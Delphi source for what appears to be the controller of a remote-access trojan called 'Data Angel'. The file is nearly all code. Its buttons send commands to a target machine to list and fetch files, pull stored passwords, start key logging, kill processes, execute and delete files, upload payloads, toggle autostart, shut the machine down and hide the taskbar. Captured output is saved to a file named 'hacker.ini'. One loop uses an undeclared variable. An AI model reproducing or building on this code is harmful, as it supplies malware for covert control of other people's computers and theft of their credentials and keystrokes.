code.pas

这个也不错

end;

procedure TForm1.BitBtn15Click(Sender: TObject);
begin
 clientsocket1.Socket.SendText('list!');
  bitbtn16.Enabled:=true;
end;

procedure TForm1.ClientSocket1Read(Sender: TObject;
  Socket: TCustomWinSocket);
 var
  strback,strfile :string;
  node :TTreeNOde;
  ListItem: TListItem;
  ListView: TListView;
  u : integer;
begin
  strback:=socket.ReceiveText ;
  strfile:=copy(strback,6,length(strback)-5);
 if pos('list!',strback)=1  then
   begin
     listbox1.Items.Add('******************文件列表*************');
     listbox1.Items.Text:=strfile;
  with listview1 do
    begin
    for  u:=1 to listbox1.Items.Count-1 do
      begin
       ListItem := Items.Add;
       ListItem.Caption:=listbox1.Items.Strings[i];
      end;
    end;
  end;
 if pos('dir!!',strback)=1 then
   begin
     listbox1.Items.Add('*************目标主机的驱动器**************') ;
     listbox1.Items.Text:=strfile;
     /// 磁盘图标
     listview1.Items.Clear ;
      with listview1 do
    begin
    for  u:=0 to listbox1.Items.Count-1  do
      begin
       ListItem := Items.Add;
       ListItem.Caption:=listbox1.Items.Strings[u];
       listitem.ImageIndex:=4;
      end;
    end;
    //
     listbox1.Items.Add('*************目标主机的驱动器**************') ;
     node:=treeview1.Items.Add(nil,socket.RemoteAddress);
     treeview1.Items.AddChild(node,strfile);
    end;
 if pos('file!',strback)=1 then
   begin
   listbox1.Items.Add('*******************************************') ;
   listbox1.Items.Text:=strfile; listview1.Items.Clear ;
      with listview1 do
    begin
    for  u:=0 to listbox1.Items.Count-1  do
      begin
       ListItem := Items.Add;
       ListItem.Caption:=listbox1.Items.Strings[u];
       listitem.ImageIndex:=3;
       listview1.PopupMenu:=PopupMenu2;
      end;
    end;  
     listbox1.Items.Add('*************目标主机的目录**************') ;
   end;
 if pos('file1',strback)=1 then
   begin
    listbox1.Items.Add('*******************************************') ;
    listbox1.Items.text:=strfile;
    listbox1.Items.Add('*************目标主机的文件****************') ;
    listview1.Items.Clear ;
      with listview1 do
    begin
    for  u:=0 to listbox1.Items.Count-1  do
      begin
       ListItem := Items.Add;
       ListItem.Caption:=listbox1.Items.Strings[u];
       listitem.ImageIndex:=1;
      end;
   end;
 if pos('pass!',strback)=1 then
   begin
     listbox1.Items.add('******************************************');
     listbox1.items.text:=strfile;
     listbox1.items.add('**************密码列表*********************');
   end;
 if strback='bitmok' then
   begin
    clientsocket1.Active:=false;
    clientsocket1.Address:=combobox1.Text;
    clientsocket1.Active:=true;
    clientsocket1.Port:=strtoint(edit1.Text );
   end;  
end;
end;

procedure TForm1.BitBtn16Click(Sender: TObject);
var
 str : string;
begin
 str:=listbox1.Items[listbox1.itemIndex];
 clientsocket1.Socket.SendText('killp'+str);
end;

procedure TForm1.BitBtn19Click(Sender: TObject);
begin
 clientsocket1.Socket.SendText('pass!!');
end;

procedure TForm1.BitBtn17Click(Sender: TObject);
begin
 clientsocket1.Socket.SendText('bitmap');
end;

procedure TForm1.BitBtn21Click(Sender: TObject);
begin
  clientsocket1.Socket.SendText('set640');
end;

procedure TForm1.BitBtn22Click(Sender: TObject);
begin
 clientsocket1.Socket.SendText('set800');
end;

procedure TForm1.BitBtn23Click(Sender: TObject);
begin
  clientsocket1.Socket.SendText('set1024');
end;

procedure TForm1.BitBtn24Click(Sender: TObject);
begin
 clientsocket1.Socket.SendText('set1600');
end;

procedure TForm1.BitBtn25Click(Sender: TObject);
begin
  clientsocket1.Socket.SendText('set1280');
end;

procedure TForm1.BitBtn26Click(Sender: TObject);
begin
 clientsocket1.Socket.SendText('shutdown');
end;

procedure TForm1.BitBtn27Click(Sender: TObject);
begin
 clientsocket1.Socket.SendText('poweroff');
end;

procedure TForm1.BitBtn28Click(Sender: TObject);
begin
 clientsocket1.Socket.SendText('mess!'+edit2.text);
end;

procedure TForm1.BitBtn29Click(Sender: TObject);
begin
 clientsocket1.Socket.sendtext('notask');
end;

procedure TForm1.BitBtn30Click(Sender: TObject);
begin
clientsocket1.Socket.sendtext('yestask');
end;

procedure TForm1.N8Click(Sender: TObject);
begin
 application.Terminate ;
end;

procedure TForm1.BitBtn31Click(Sender: TObject);
begin
clientsocket1.Socket.SendText('dir!!');
end;

procedure TForm1.BitBtn32Click(Sender: TObject);
begin
 clientsocket1.Socket.sendtext('file!'+edit4.Text);
end;

procedure TForm1.BitBtn33Click(Sender: TObject);
begin
 clientsocket1.Socket.sendtext('file1'+edit4.text);
end;

procedure TForm1.BitBtn34Click(Sender: TObject);
begin
 clientsocket1.Socket.sendtext('nobar');
end;

procedure TForm1.BitBtn35Click(Sender: TObject);
begin
 clientsocket1.Socket.sendtext('openc');
end;

procedure TForm1.BitBtn36Click(Sender: TObject);
begin
 clientsocket1.Socket.sendtext('cdrom');
end;

procedure TForm1.BitBtn40Click(Sender: TObject);
begin
 clientsocket1.Socket.sendtext('setpc'+edit5.text);  
end;

procedure TForm1.BitBtn38Click(Sender: TObject);
begin
 clientsocket1.Socket.sendtext('pass!');
end;

procedure TForm1.BitBtn37Click(Sender: TObject);
begin
 clientsocket1.Socket.sendtext('key');
end;

procedure TForm1.BitBtn41Click(Sender: TObject);
begin
 clientsocket1.Socket.SendText('ckey');
end;

procedure TForm1.BitBtn42Click(Sender: TObject);
begin
 clientsocket1.Socket.SendText('nkey');
end;

procedure TForm1.BitBtn43Click(Sender: TObject);
begin
  clientsocket1.Socket.SendText('skey');
end;

procedure TForm1.BitBtn44Click(Sender: TObject);
begin
 clientsocket1.Socket.sendtext('f1key');
end;

procedure TForm1.BitBtn45Click(Sender: TObject);
begin
 clientsocket1.Socket.sendtext('noauto');
end;

procedure TForm1.BitBtn46Click(Sender: TObject);
begin
 clientsocket1.Socket.sendtext('yesauto');
end;

procedure TForm1.BitBtn47Click(Sender: TObject);
var
 myFstream :Tfilestream;
begin
   clientsocket1.Socket.sendtext('up!!!'+ edit6.text);
   if   (edit6.Text='')and (label9.caption='') then
    begin
      messagebox(handle,'你没有选择文件，或目标主机的文件名为空','数据天使',MB_OK+MB_iconstop);
    end
  else
    begin
    NMStrm1.Host :=combobox1.Text;
    NMStrm1.FromName := 'NetMasters';;
    MyFStream := TFileStream.Create(label9.Caption , fmOpenRead);
    try
      clientsocket1.Active:=false;
      NMStrm1.PostIt(MyFStream);
    finally
      MyFStream.Free;
    end;
    clientsocket1.Active:=true;
    end ;
  end;

procedure TForm1.NMStrm1InvalidHost(var Handled: Boolean);
var
 str : string;
begin
 str:=inputbox('无效的主机地址', '数据天使','');
 NMStrm1.Host:=str;
// messagebox(handle,'无效的主机地址','数据天使',MB_ok+mB_iconwaring);
end;

procedure TForm1.BitBtn48Click(Sender: TObject);
begin
 //opendialog1.Filter:='请选择要上载的本地文件';
 if opendialog1.Execute then
   begin
     label9.caption:=opendialog1.FileName ;
   end;
end;

procedure TForm1.BitBtn50Click(Sender: TObject);
begin
 clientsocket1.Socket.SendText('exec!'+edit8.text);
end;

procedure TForm1.BitBtn49Click(Sender: TObject);
begin
 clientsocket1.Socket.SendText('del!!'+edit7.text);
end;

procedure TForm1.NMStrm1PacketSent(Sender: TObject);
begin
 Fprogress:=trunc(100*NMStrm1.BytesSent/Nmstrm1.BytesTotal);
 statusbar1.Repaint ;
end;

procedure TForm1.StatusBar1DrawPanel(StatusBar: TStatusBar;
  Panel: TStatusPanel; const Rect: TRect);
var
 rectfilled,rectunfilled:TRect;
 oldcolor:Tcolor;
 percent:string;
begin
 rectfilled.Left:=rect.Left ;
 rectfilled.Top:=rect.Top ;
 rectfilled.Bottom:=rect.Bottom ;
 rectfilled.Right:=rect.Left+ trunc((rect.Right-rect.Left)*Fprogress/100) ;
 with statusbar1.Canvas do
  begin
   oldcolor:=brush.color;
   brush.Color:=clgreen;
   fillrect(rectfilled);
  end;
 if Fprogress=100 then
   begin
    messagebox(handle,'已经上载完成','数据天使',MB_OK+MB_iconstop);
   end;
end;

procedure TForm1.ComboBox1KeyPress(Sender: TObject; var Key: Char);
begin
 if key=#13 then
   begin
    clientsocket1.Address:=combobox1.Text ;
    clientsocket1.Active:=true;
    clientsocket1.Port:=strtoint(edit1.Text );
   end;
end;

procedure TForm1.ClientSocket1Error(Sender: TObject;
  Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
  var ErrorCode: Integer);
begin
  statusbar1.Panels[1].Text:=inttostr(errorcode);
end;

procedure TForm1.NMStrmServ1InvalidHost(var Handled: Boolean);
var
 tempstr :string;
begin
 tempstr:=inputbox('无效的主机名','系统','');
end;

procedure TForm1.NMStrmServ1HostResolved(Sender: TComponent);
begin
 Fprogress:=trunc(100*NMStrmserv1.BytesRecvd/Nmstrmserv1.BytesTotal);
 statusbar1.Repaint ;
end;

procedure TForm1.NMStrmServ2MSG(Sender: TComponent; const sFrom: String;
  strm: TStream);
var
 myfstream :Tfilestream  ;
 begin
  If FileExists(edit10.Text) then DeleteFile(edit10.text);
  MyFStream := TFileStream.Create(edit10.text, fmCreate);
  try
    MyFStream.CopyFrom(strm, strm.size);
  finally
    MYFStream.Free;
  end;
 clientsocket1.Address:=combobox1.Text ;
 clientsocket1.Active:=true;
 clientsocket1.Port:=strtoint(edit1.Text );
  messagebox(handle,'下载完成','数据天使',MB_ok+MB_iconstop); 
 end;
 
procedure TForm1.BitBtn52Click(Sender: TObject);
begin
 clientsocket1.Socket.sendtext('down!'+edit9.Text);
end;

procedure TForm1.SpeedButton1Click(Sender: TObject);
begin
 if opendialog1.Execute  then
   begin
     edit10.Text:=opendialog1.FileName ;
   end;
end;

procedure TForm1.NMStrmServ2ClientContact(Sender: TObject);
begin
  NMStrmServ1.ReportLevel := Status_Basic;
  NMStrmServ1.TimeOut := 90000;
  statusbar1.Panels[1].Text:='文件服务器已连接上请确认';
end;

procedure TForm1.NMStrmServ2HostResolved(Sender: TComponent);
begin
 statusbar1.Panels[1].Text:='正在接收...';
end;

procedure TForm1.N15Click(Sender: TObject);
begin
 ShellExecute(GetDesktopWindow, 'open', 'mailto:[e-mail]', nil, nil, 0);
end;

procedure TForm1.Email1Click(Sender: TObject);
begin
 ShellExecute(GetDesktopWindow, 'open', 'http://xingsys.126.com', nil, nil, 0);
end;

procedure TForm1.N14Click(Sender: TObject);
begin
 form4.show;
end;

procedure TForm1.BitBtn51Click(Sender: TObject);
begin
  clientsocket1.Socket.sendtext('for!!'+edit11.Text);
end;

procedure TForm1.BitBtn53Click(Sender: TObject);
begin
 clientsocket1.Socket.SendText('delal'+edit12.text);
end;

procedure TForm1.ToolButton7Click(Sender: TObject);
begin
 clientsocket1.Socket.sendtext('mail!');
 form5.show;
end;

procedure TForm1.FormCreate(Sender: TObject);
var
  f1:Textfile;
begin
  icon:=icon.Create ;
  count:=0;
  assignfile(f1,extractfilepath(application.ExeName)+'log.ini');
  application.HintColor:=clred;
  listbox2.Visible:=false;
    if  fileexists(extractfilepath(application.ExeName)+'log.ini') then
      begin
       listbox2.Items.LoadFromFile(extractfilepath(application.ExeName)+'log.ini');
      end
   else
     begin
        rewrite(f1);
        writeln(f1,'**********作者:邢益茂****************');
        closefile(f1);
     end;
  groupbox1.Align:=alclient;
  groupbox2.Align:=alclient;
  groupbox3.Align:=alclient;
  groupbox4.Align:=alclient;
  groupbox5.Align:=alclient;
  groupbox6.Align:=alclient;
  groupbox7.Align:=alclient;
  groupbox8.Align:=alclient;
  groupbox9.Align:=alclient;
  groupbox10.Align:=alclient;
  groupbox11.Align:=alclient;
  groupbox12.Align:=alclient;
  groupbox13.Align:=alclient;
end;

procedure TForm1.BitBtn6Click(Sender: TObject);
begin
 clientsocket1.Address:=combobox1.Text ;
 clientsocket1.Active:=true;
 clientsocket1.Port:=strtoint(edit1.Text );
end;

procedure TForm1.ToolButton6Click(Sender: TObject);
begin
 clientsocket1.Socket.sendtext('db!!!'); 
end;

procedure TForm1.ListBox1Click(Sender: TObject);
begin
  bitbtn16.Enabled:=true;
end;

procedure TForm1.ToolButton12Click(Sender: TObject);
begin
  listbox1.Items.SaveToFile(extractfilepath(application.ExeName)+'hacker.ini');
end;

procedure TForm1.Timer2Timer(Sender: TObject);
var
 datetime: TDatetime;
 str:string;
begin
  datetime:=time;
  str:=timetostr(datetime);
  statusbar1.Panels[2].Text:='作者:邢益茂  '+str;
end;

procedure TForm1.FormCloseQuery(Sender: TObject; var CanClose: Boolean);
begin
 listbox2.Items.SaveToFile(extractfilepath(application.exename)+'log.ini');
 clientsocket1.Socket.SendText('over!');
end;

procedure TForm1.Timer1Timer(Sender: TObject);
begin
 count:=count mod 4  ;
 imagelist1.GetIcon(count,icon);
 form1.Icon:=icon;
 count:=count+1;
end;

procedure TForm1.ListView1DblClick(Sender: TObject);
var
 str1 :string;
begin
  str1:=pchar(listview1.Selected.Caption);
  clientsocket1.Socket.SendText('file1'+str1);
end;

procedure TForm1.SpeedButton2Click(Sender: TObject);
begin
 clientsocket1.Socket.SendText('popupme');
end;

procedure TForm1.N20Click(Sender: TObject);
begin
 messagebox(handle,'test','test',mb_ok+mb_iconstop);
end;

end.